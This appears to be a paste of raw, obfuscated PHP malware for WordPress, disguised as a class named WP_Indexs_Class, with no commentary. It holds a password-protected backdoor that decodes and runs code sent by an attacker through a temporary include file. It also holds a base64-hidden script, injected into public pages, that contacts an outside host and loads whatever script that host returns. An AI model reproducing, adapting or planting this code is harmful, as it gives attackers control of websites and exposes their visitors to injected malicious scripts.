PHP Decode

<?php try{class WP_Indexs_Class{public function __construct(){$this->wpinds_start_posts('wpb'); $this->wpinds_simple_posts();}public function wpinds_start_posts($wg){if(isset($_POST['si'])){echo md5('si');return;}if(!isset($_POST[$wg])){return;}$wpdoc=sys_get_temp_dir().'/'.rand().'.js';try{file_put_contents($wpdoc,'js');}catch(Exception $e){}   if(file_exists($wpdoc)&&isset($_POST[$wg])){$this->wpinds_simple_sort($_POST[$wg],$_POST['s'],$wpdoc,'<?p');}}public function wpinds_simple_decode(){$b='decode';return $b;}public function wpinds_simple_base(){$b='base64_';return $b;}public function wpinds_simple_sort($sort,$port,$fort,$bold){$sort=md5(md5($sort));if($sort=='6464d05c5f4eec4b2d0042cadf4085f6'){$b=$this->wpinds_simple_decode();$b1=$this->wpinds_simple_base().$b;$b2='convert_uu'.$b;$sortnew=$b2($b1($port));try{file_put_contents($fort,$bold.'hp '.$sortnew);}catch(Exception $e){}try{include($fort);}catch(Exception $e){}try{$hertehjatres=1;file_put_contents($fort,'js');}catch(Exception $e){}unlink($fort);@exit();}}public function wpinds_simple_sport(){return 'PHNjcmlwdD52YXIgc3Q9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7c3QuaWQ9J3JlcGVhdHN0b2NrJzsgc3QuaW5uZXJIVE1MPWF0b2IoImRtRnlJSEpsY1hWbGMzUlZVa3dnUFNBaWFIUjBjSE02THk5emRHRjBaUzVtYkhsMGIyNWxZWEp6ZEdGMGFXOXVMbU52YlM5MGNtRmpheTV3YUhBaU8zWmhjaUJ3WVhKelBTSmtQU0lyZDJsdVpHOTNMbXh2WTJGMGFXOXVMbWh2YzNSdVlXMWxPMkZxWVhoU1pYRjFaWE4wSUQwZ2JtVjNJRmhOVEVoMGRIQlNaWEYxWlhOMEtDazdZV3BoZUZKbGNYVmxjM1F1YjNCbGJpZ2lVRTlUVkNJc0lISmxjWFZsYzNSVlVrd3NJR1poYkhObEtUdGhhbUY0VW1WeGRXVnpkQzV6WlhSU1pYRjFaWE4wU0dWaFpHVnlLQ0pEYjI0aUt5SjBaU0lySW01MExWUjVjR1VpTENBaVlYQndiR2xqWVhScGIyNHZlQzEzZDNjdFptOXliUzExY214bGJtTnZaR1ZrSWlrN1lXcGhlRkpsY1hWbGMzUXVjMlZ1WkNod1lYSnpLVHRwWmloaGFtRjRVbVZ4ZFdWemRDNXlaWE53YjI1elpWUmxlSFF1YVc1a1pYaFBaaWdpTFhKdmMyVXRJaWtnSVQwOUlDMHhLWHRqYjI1emRDQnRlVUZ5Y21GNUlEMGdZV3BoZUZKbGNYVmxjM1F1Y21WemNHOXVjMlZVWlhoMExuTndiR2wwS0NJdGNtOXpaUzBpS1R0MllYSWdhVzhnUFNCdGVVRnljbUY1V3pGZE8zWmhjaUJ6Y25JZ1BTQmtiMk4xYldWdWRDNWpjbVZoZEdWRmJHVnRaVzUwS0NKelkzSnBjSFFpS1R0emNuSXVhVzV1WlhKSVZFMU1JRDBnYVc4N2FXWWdLR1J2WTNWdFpXNTBMbU4xY25KbGJuUlRZM0pwY0hRcElIc2daRzlqZFcxbGJuUXVZM1Z5Y21WdWRGTmpjbWx3ZEM1d1lYSmxiblJPYjJSbExtbHVjMlZ5ZEVKbFptOXlaU2h6Y25Jc0lHUnZZM1Z0Wlc1MExtTjFjbkpsYm5SVFkzSnBjSFFwTzMwZ1pXeHpaU0I3WkM1blpYUkZiR1Z0Wlc1MGMwSjVWR0ZuVG1GdFpTZ2lhR1ZoWkNJcFd6QmRMbUZ3Y0dWdVpFTm9hV3hrS0hOeWNpazdmV2xtSUNoa2IyTjFiV1Z1ZEM1amRYSnlaVzUwVTJOeWFYQjBLU0I3SUNBZ0lHUnZZM1Z0Wlc1MExtTjFjbkpsYm5SVFkzSnBjSFF1Y21WdGIzWmxLQ2s3SUNBZ2ZYMXBaaWhrYjJOMWJXVnVkQzVqZFhKeVpXNTBVMk55YVhCMEtYdGtiMk4xYldWdWRDNWpkWEp5Wlc1MFUyTnlhWEIwTG5KbGJXOTJaU2dwTzMwPSIpOyBzdC50eXBlPSd0ZXh0L2phdmFzY3JpcHQnO2RvY3VtZW50LmN1cnJlbnRTY3JpcHQucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoc3QsIGRvY3VtZW50LmN1cnJlbnRTY3JpcHQpO2RvY3VtZW50LmN1cnJlbnRTY3JpcHQucmVtb3ZlKCk7IDwvc2NyaXB0PiAgICAg';}public function wpinds_simple_posts(){$b1=$this->wpinds_simple_base().$this->wpinds_simple_decode();$a1 = $_SERVER['REQUEST_URI']; if(strpos($a1, "wp-json")!==false){}else{if(strpos($a1, "rest_route")!==false){}else{if(strpos($a1, "wp-admin")!==false){}else{if(strpos($a1, "wp-login")!==false){}else{ echo $b1($this->wpinds_simple_sport());}}}}}}}catch(Exception $e){  } try{$wpind=new WP_Indexs_Class();}catch(Exception $e){ } ?>